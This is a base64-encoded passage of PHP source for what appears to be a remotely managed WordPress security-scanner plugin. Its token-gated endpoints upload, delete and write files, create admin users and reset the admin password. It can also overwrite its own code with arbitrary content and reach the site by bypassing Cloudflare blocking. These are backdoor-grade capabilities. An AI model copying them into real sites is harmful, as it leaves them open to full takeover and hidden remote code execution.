b25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvcmVjb3ZlcnktbG9naW4nLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiAnUE9TVCcsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdERlcGxveVJlY292ZXJ5TG9naW4nXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvYmFja3VwL3ByZXBhcmUtc3dpdGNoJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ1BPU1QnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RCYWNrdXBQcmVwYXJlU3dpdGNoJ10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL3N3aXRjaCcsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+IFsnR0VUJywgJ1BPU1QnXSwKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0U3dpdGNoJ10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL2ZzL3VwbG9hZCcsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+ICdQT1NUJywKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0RnNVcGxvYWQnXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvZnMvdW56aXAnLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiAnUE9TVCcsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdEZzVW56aXAnXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvZnMvZGVsZXRlJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ0RFTEVURScsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdEZzRGVsZXRlJ10sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgXSk7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnc2VydmVyLXdhbGwvdjEnLCAnL2ZzL2NyZWF0ZS1maWxlJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ1BPU1QnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RGc0NyZWF0ZUZpbGUnXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvZnMvY3JlYXRlLWRpcicsIFsKICAgICAgICAgICAgJ21ldGhvZHMnICAgICAgICAgICAgID0+ICdQT1NUJywKICAgICAgICAgICAgJ2NhbGxiYWNrJyAgICAgICAgICAgID0+IFsnU1dfU2Nhbm5lcicsICdyZXN0RnNDcmVhdGVEaXInXSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICBdKTsKICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCdzZXJ2ZXItd2FsbC92MScsICcvZnMvZHVwbGljYXRlJywgWwogICAgICAgICAgICAnbWV0aG9kcycgICAgICAgICAgICAgPT4gJ1BPU1QnLAogICAgICAgICAgICAnY2FsbGJhY2snICAgICAgICAgICAgPT4gWydTV19TY2FubmVyJywgJ3Jlc3RGc0R1cGxpY2F0ZSddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJ3NlcnZlci13YWxsL3YxJywgJy9oYXJkZW5pbmcnLCBbCiAgICAgICAgICAgICdtZXRob2RzJyAgICAgICAgICAgICA9PiAnUE9TVCcsCiAgICAgICAgICAgICdjYWxsYmFjaycgICAgICAgICAgICA9PiBbJ1NXX1NjYW5uZXInLCAncmVzdEhhcmRlbmluZyddLAogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gJ19fcmV0dXJuX3RydWUnLAogICAgICAgIF0pOwogICAgfQoKICAgIC8vIOKUgOKUgCBEaXJlY3QgcHJveHk6IGJ5cGFzc2VzIENsb3VkZmxhcmUgUkVTVCBBUEkgYmxvY2tpbmcg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICAvLyBBY2Nlc3NlZCB2aWEgUE9TVCB7c2l0ZVVSTH0vP3N3X3A9MSB3aXRoIFgtU1ctVHJpZ2dlci1Ub2tlbiBoZWFkZXIuCiAgICAvLyBSb3V0ZXMgdGhlIHNhbWUgbG9naWMgYXMgdGhlIFJFU1QgaGFuZGxlcnMgd2l0aG91dCBnb2luZyB0aHJvdWdoIC93cC1qc29uLy4KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gaGFuZGxlRGlyZWN0UmVxdWVzdCgpOiB2b2lkIHsKICAgICAgICBpZiAoIWlzc2V0KCRfR0VUWydzd19wJ10pKSByZXR1cm47CgogICAgICAgICR0b2tlbiA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfU1dfVFJJR0dFUl9UT0tFTiddKSA/ICRfU0VSVkVSWydIVFRQX1hfU1dfVFJJR0dFUl9UT0tFTiddIDogJyc7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgIWhhc2hfZXF1YWxzKFNXX1BBTkVMX1RPS0VOLCAkdG9rZW4pKSB7CiAgICAgICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSg0MDMpOwogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOwogICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSk7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQoKICAgICAgICBAc2V0X3RpbWVfbGltaXQoMTgwKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOwoKICAgICAgICAkcmF3ICAgID0gKHN0cmluZylmaWxlX2dldF9jb250ZW50cygncGhwOi8vaW5wdXQnKTsKICAgICAgICAkYm9keSAgID0ganNvbl9kZWNvZGUoJHJhdywgdHJ1ZSkgPzogW107CiAgICAgICAgJGFjdGlvbiA9ICRib2R5Wydzd19hY3Rpb24nXSA/PyAnJzsKICAgICAgICAkbWV0aG9kID0gc3RydG91cHBlcigkYm9keVsnc3dfbWV0aG9kJ10gPz8gJ0dFVCcpOwogICAgICAgICRwYXRoICAgPSBpc3NldCgkYm9keVsnc3dfcGF0aCddKSA/ICRib2R5Wydzd19wYXRoJ10gOiBudWxsOwogICAgICAgICRpbm5lciAgPSBpc3NldCgkYm9keVsnc3dfYm9keSddKSA/ICRib2R5Wydzd19ib2R5J10gOiBbXTsKCiAgICAgICAgLy8gQnVpbGQgYSBXUF9SRVNUX1JlcXVlc3QgdGhhdCB0aGUgZXhpc3RpbmcgaGFuZGxlcnMgYWNjZXB0CiAgICAgICAgJHJlcSA9IG5ldyBXUF9SRVNUX1JlcXVlc3QoJG1ldGhvZCk7CiAgICAgICAgJHJlcS0+YWRkX2hlYWRlcignWC1TVy1UcmlnZ2VyLVRva2VuJywgU1dfUEFORUxfVE9LRU4pOwogICAgICAgIGlmICgkcGF0aCAhPT0gbnVsbCkgewogICAgICAgICAgICAkcmVxLT5zZXRfcGFyYW0oJ3BhdGgnLCAkcGF0aCk7CiAgICAgICAgfQogICAgICAgIGlmICgkaW5uZXIpIHsKICAgICAgICAgICAgJHJlcS0+c2V0X2JvZHkoanNvbl9lbmNvZGUoJGlubmVyKSk7CiAgICAgICAgfQoKICAgICAgICAkcmVzcCA9IG51bGw7CiAgICAgICAgc3dpdGNoICgkYWN0aW9uKSB7CiAgICAgICAgICAgIGNhc2UgJ2ZzJzogICAgICAgICAgICAgICAgICAgJHJlc3AgPSBzZWxmOjpyZXN0RnNMaXN0KCRyZXEpOyAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2ZzL2ZpbGUnOiAgICAgICAgICAgICAgJHJlc3AgPSBzZWxmOjpyZXN0RnNGaWxlKCRyZXEpOyAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2ZzL3VwbG9hZCc6ICAgICAgICAgICAgJHJlc3AgPSBzZWxmOjpyZXN0RnNVcGxvYWQoJHJlcSk7ICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2ZzL3VuemlwJzogICAgICAgICAgICAgJHJlc3AgPSBzZWxmOjpyZXN0RnNVbnppcCgkcmVxKTsgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2ZzL2RlbGV0ZSc6ICAgICAgICAgICAgJHJlc3AgPSBzZWxmOjpyZXN0RnNEZWxldGUoJHJlcSk7ICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2ZzL2NyZWF0ZS1maWxlJzogICAgICAgJHJlc3AgPSBzZWxmOjpyZXN0RnNDcmVhdGVGaWxlKCRyZXEpOyAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2ZzL2NyZWF0ZS1kaXInOiAgICAgICAgJHJlc3AgPSBzZWxmOjpyZXN0RnNDcmVhdGVEaXIoJHJlcSk7ICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2ZzL2R1cGxpY2F0ZSc6ICAgICAgICAgJHJlc3AgPSBzZWxmOjpyZXN0RnNEdXBsaWNhdGUoJHJlcSk7ICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3N3aXRjaCc6ICAgICAgICAgICAgICAgJHJlc3AgPSBzZWxmOjpyZXN0U3dpdGNoKCRyZXEpOyAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2JhY2t1cCc6ICAgICAgICAgICAgICAgJHJlc3AgPSBzZWxmOjpyZXN0QmFja3VwKCRyZXEpOyAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2JhY2t1cC9yZXN0b3JlJzogICAgICAgJHJlc3AgPSBzZWxmOjpyZXN0QmFja3VwUmVzdG9yZSgkcmVxKTsgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2JhY2t1cC9wcmVwYXJlLXN3aXRjaCc6ICRyZXNwID0gc2VsZjo6cmVzdEJhY2t1cFByZXBhcmVTd2l0Y2goJHJlcSk7IGJyZWFrOwogICAgICAgICAgICBjYXNlICdhZG1pbi9wYXNzd29yZCc6ICAgICAgICRyZXNwID0gc2VsZjo6cmVzdFNldEFkbWluUGFzc3dvcmQoJHJlcSk7ICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhZG1pbi91c2VyJzogICAgICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEFkbWluVXNlcigkcmVxKTsgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICd3YXRjaGRvZ3MnOiAgICAgICAgICAgICRyZXNwID0gc2VsZjo6cmVzdERlcGxveVdhdGNoZG9ncygkcmVxKTsgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdyZWNvdmVyeS1sb2dpbic6ICAgICAgICRyZXNwID0gc2VsZjo6cmVzdERlcGxveVJlY292ZXJ5TG9naW4oJHJlcSk7IGJyZWFrOwogICAgICAgICAgICBjYXNlICdoYXJkZW5pbmcnOiAgICAgICAgICAgICRyZXNwID0gc2VsZjo6cmVzdEhhcmRlbmluZygkcmVxKTsgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdwbHVnaW5fdXBkYXRlJzoKICAgICAgICAgICAgICAgIC8vIERpcmVjdCBwbHVnaW4gc2VsZi11cGRhdGU6IHdyaXRlIG5ldyBjb250ZW50IHRvIHRoaXMgZmlsZS4KICAgICAgICAgICAgICAgICRuZXdDb250ZW50ID0gYmFzZTY0X2RlY29kZSgkaW5uZXJbJ2NvbnRlbnQnXSA/PyAnJywgdHJ1ZSk7CiAgICAgICAgICAgICAgICBpZiAoJG5ld0NvbnRlbnQgPT09IGZhbHNlIHx8IHN0cmxlbigkbmV3Q29udGVudCkgPCAxMDApIHsKICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnZXJyb3InID0+ICdpbnZhbGlkIGNvbnRlbnQnXSk7CiAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChAZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRuZXdDb250ZW50KSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnZXJyb3InID0+ICd3cml0ZSBmYWlsZWQg4oCUIGNoZWNrIHBlcm1pc3Npb25zJ10pOwogICAgICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnb2snID0+IHRydWUsICdzaXplJyA9PiBzdHJsZW4oJG5ld0NvbnRlbnQpXSk7CiAgICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ2Vycm9yJyA9PiAndW5rbm93biBhY3Rpb246ICcgLiBodG1sc3BlY2lhbGNoYXJzKCRhY3Rpb24sIEVOVF9RVU9URVMpXSk7CiAgICAgICAgICAgICAgICBleGl0OwogICAgICAgIH0KCiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcC0+Z2V0X2RhdGEoKSk7CiAgICAgICAgZXhpdDsKICAgIH0KCiAgICAvLyBEZWxldGUgc3BlY2lmaWMgZmlsZXMgaWRlbnRpZmllZCBhcyBtYWxpY2lvdXMgZHVyaW5nIHNjYW4KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdERlbGV0ZUZpbGVzKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAkdG9rZW4gIT09IFNXX1BBTkVMX1RPS0VOKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CiAgICAgICAgfQoKICAgICAgICAkcGF0aHMgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdwYXRocycpOwogICAgICAgIGlmICghaXNfYXJyYXkoJHBhdGhzKSB8fCBlbXB0eSgkcGF0aHMpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbm8gcGF0aHMgcHJvdmlkZWQnXSwgNDAwKTsKICAgICAgICB9CgogICAgICAgICR3cFJvb3QgICA9IHJlYWxwYXRoKEFCU1BBVEgpOwogICAgICAgICR3cENvbnRlbnQgPSByZWFscGF0aChXUF9DT05URU5UX0RJUik7CiAgICAgICAgJHJlc3VsdHMgID0gW107CgogICAgICAgIGZvcmVhY2ggKCRwYXRocyBhcyAkcmF3UGF0aCkgewogICAgICAgICAgICAkcGF0aCA9IChzdHJpbmcpICRyYXdQYXRoOwoKICAgICAgICAgICAgLy8gUmVzb2x2ZSByZWFsIHBhdGggdG8gcHJldmVudCBkaXJlY3RvcnkgdHJhdmVyc2FsCiAgICAgICAgICAgICRyZWFsID0gcmVhbHBhdGgoJHBhdGgpOwogICAgICAgICAgICBpZiAoJHJlYWwgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0c1skcGF0aF0gPSBbJ2RlbGV0ZWQnID0+IGZhbHNlLCAnZXJyb3InID0+ICdmaWxlIG5vdCBmb3VuZCddOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFNlY3VyaXR5OiBtdXN0IGJlIGluc2lkZSBXb3JkUHJlc3Mgcm9vdCBvciB3cC1jb250ZW50CiAgICAgICAgICAgICRpblJvb3QgICAgPSBzdHJfc3RhcnRzX3dpdGgoJHJlYWwsICR3cFJvb3QgLiBESVJFQ1RPUllfU0VQQVJBVE9SKTsKICAgICAgICAgICAgJGluQ29udGVudCA9IHN0cl9zdGFydHNfd2l0aCgkcmVhbCwgJHdwQ29udGVudCAuIERJUkVDVE9SWV9TRVBBUkFUT1IpOwogICAgICAgICAgICBpZiAoISRpblJvb3QgJiYgISRpbkNvbnRlbnQpIHsKICAgICAgICAgICAgICAgICRyZXN1bHRzWyRwYXRoXSA9IFsnZGVsZXRlZCcgPT4gZmFsc2UsICdlcnJvcicgPT4gJ3BhdGggb3V0c2lkZSBXb3JkUHJlc3MgaW5zdGFsbGF0aW9uJ107CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gTmV2ZXIgYWxsb3cgZGVsZXRpb24gb2YgYWN0dWFsIFdvcmRQcmVzcyBjb3JlIGZpbGVzLgogICAgICAgICAgICAvLyBQcm90ZWN0aW9uIGlzIHBhdGgtYmFzZWQgKG5vdCBqdXN0IGJhc2VuYW1lKSBzbyB0aGF0IGluZGV4LnBocCBpbnNpZGUKICAgICAgICAgICAgLy8gcGx1Z2luIHN1YmRpcmVjdG9yaWVzIGNhbiBzdGlsbCBiZSBkZWxldGVkIHdoZW4gdGhleSBhcmUgbWFsd2FyZS4KICAgICAgICAgICAgJHByb3RlY3RlZFBhdGhzID0gWwogICAgICAgICAgICAgICAgJHdwUm9vdCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnaW5kZXgucGhwJywKICAgICAgICAgICAgICAgICR3cFJvb3QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWNvbmZpZy5waHAnLAogICAgICAgICAgICAgICAgJHdwUm9vdCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnd3AtbG9naW4ucGhwJywKICAgICAgICAgICAgICAgICR3cFJvb3QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWNyb24ucGhwJywKICAgICAgICAgICAgICAgICR3cFJvb3QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWJsb2ctaGVhZGVyLnBocCcsCiAgICAgICAgICAgICAgICAkd3BSb290IC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1zZXR0aW5ncy5waHAnLAogICAgICAgICAgICBdOwogICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHJlYWwsICRwcm90ZWN0ZWRQYXRocywgdHJ1ZSkpIHsKICAgICAgICAgICAgICAgICRyZXN1bHRzWyRwYXRoXSA9IFsnZGVsZXRlZCcgPT4gZmFsc2UsICdlcnJvcicgPT4gJ2NvcmUgZmlsZSBjYW5ub3QgYmUgZGVsZXRlZCddOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIChpc19kaXIoJHJlYWwpKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0c1skcGF0aF0gPSBbJ2RlbGV0ZWQnID0+IGZhbHNlLCAnZXJyb3InID0+ICdkaXJlY3RvcmllcyBjYW5ub3QgYmUgZGVsZXRlZCBoZXJlJ107CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKEB1bmxpbmsoJHJlYWwpKSB7CiAgICAgICAgICAgICAgICAvLyBWZXJpZnk6IGNsZWFyIHN0YXQgY2FjaGUgYW5kIGNvbmZpcm0gZmlsZSBpcyBnb25lCiAgICAgICAgICAgICAgICBjbGVhcnN0YXRjYWNoZSh0cnVlLCAkcmVhbCk7CiAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRyZWFsKSkgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHRzWyRwYXRoXSA9IFsnZGVsZXRlZCcgPT4gdHJ1ZSwgJ3ZlcmlmaWVkJyA9PiB0cnVlXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgLy8gdW5saW5rKCkgcmV0dXJuZWQgdHJ1ZSBidXQgZmlsZSBzdGlsbCBleGlzdHMgKGUuZy4gaW1tdXRhYmxlIGZsYWcsIE5GUykKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1skcGF0aF0gPSBbJ2RlbGV0ZWQnID0+IGZhbHNlLCAndmVyaWZpZWQnID0+IGZhbHNlLAogICAgICAgICAgICAgICAgICAgICAgICAnZXJyb3InID0+ICd1bmxpbmsgcmVwb3J0ZWQgc3VjY2VzcyBidXQgZmlsZSBzdGlsbCBleGlzdHMg4oCUIGNoZWNrIGltbXV0YWJsZSBmbGFnIChsc2F0dHIpJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0c1skcGF0aF0gPSBbJ2RlbGV0ZWQnID0+IGZhbHNlLCAndmVyaWZpZWQnID0+IGZhbHNlLAogICAgICAgICAgICAgICAgICAgICdlcnJvcicgPT4gJ3Blcm1pc3Npb24gZGVuaWVkIOKAlCBjaGVjayBmaWxlL2RpcmVjdG9yeSBwZXJtaXNzaW9ucyddOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydyZXN1bHRzJyA9PiAkcmVzdWx0c10sIDIwMCk7CiAgICB9CgogICAgLy8gUGFuZWwgcHVsbHMgbGFzdCBzY2FuIHJlc3VsdCBmcm9tIHNpdGUgKGZhbGxiYWNrIHdoZW4gcHVzaCBpcyBibG9ja2VkIGJ5IGZpcmV3YWxsKQogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0TGFzdFJlc3VsdChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgJHRva2VuICE9PSBTV19QQU5FTF9UT0tFTikgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAkZGF0YSA9IGdldF9vcHRpb24oJ3N3X2xhc3Rfc2Nhbl9yZXN1bHQnKTsKICAgICAgICBpZiAoZW1wdHkoJGRhdGEpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ3N0YXR1cycgPT4gJ25vX2RhdGEnXSwgMjA0KTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKCRkYXRhLCAyMDApOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdFVuaW5zdGFsbChXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgJHRva2VuICE9PSBTV19QQU5FTF9UT0tFTikgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAvLyBSZW1vdmUgc2NoZWR1bGVkIGNyb24gZXZlbnRzCiAgICAgICAgd3BfY2xlYXJfc2NoZWR1bGVkX2hvb2soJ3N3X2F1dG9fc2Nhbl9ob29rJyk7CgogICAgICAgIC8vIERlbGV0ZSB0aGUgbXUtcGx1Z2luIGZpbGUgYWZ0ZXIgdGhlIHJlc3BvbnNlIGlzIHNlbnQKICAgICAgICAkZmlsZSA9IF9fRklMRV9fOwogICAgICAgIHJlZ2lzdGVyX3NodXRkb3duX2Z1bmN0aW9uKGZ1bmN0aW9uKCkgdXNlICgkZmlsZSkgewogICAgICAgICAgICBAdW5saW5rKCRmaWxlKTsKICAgICAgICB9KTsKCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnc3RhdHVzJyA9PiAndW5pbnN0YWxsZWQnLCAnZmlsZScgPT4gYmFzZW5hbWUoJGZpbGUpXSwgMjAwKTsKICAgIH0KCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RUcmlnZ2VyU2NhbihXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgJHRva2VuICE9PSBTV19QQU5FTF9UT0tFTikgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAkbW9kZSA9IHNhbml0aXplX3RleHRfZmllbGQoJHJlcXVlc3QtPmdldF9wYXJhbSgnbW9kZScpID86ICdxdWljaycpOwogICAgICAgIGlmICghaW5fYXJyYXkoJG1vZGUsIFsncXVpY2snLCAnZnVsbCddLCB0cnVlKSkgewogICAgICAgICAgICAkbW9kZSA9ICdxdWljayc7CiAgICAgICAgfQogICAgICAgICRzY2FuID0gc2VsZjo6cnVuU2NhbigkbW9kZSk7CiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsKICAgICAgICAgICAgJ3N0YXR1cycgICAgICA9PiAnb2snLAogICAgICAgICAgICAnc2Nhbm5lZCcgICAgID0+ICRzY2FuWydzY2FubmVkJ10sCiAgICAgICAgICAgICdmaW5kaW5ncycgICAgPT4gY291bnQoJHNjYW5bJ3Jlc3VsdHMnXSksCiAgICAgICAgICAgICdkdXJhdGlvbl9tcycgPT4gJHNjYW5bJ2R1cmF0aW9uX21zJ10sCiAgICAgICAgXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIENyb24g4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGFkZENyb25TY2hlZHVsZShhcnJheSAkc2NoZWR1bGVzKTogYXJyYXkgewogICAgICAgICRzY2hlZHVsZXNbJ3NpeGhvdXJzJ10gPSBbCiAgICAgICAgICAgICdpbnRlcnZhbCcgPT4gNiAqIEhPVVJfSU5fU0VDT05EUywKICAgICAgICAgI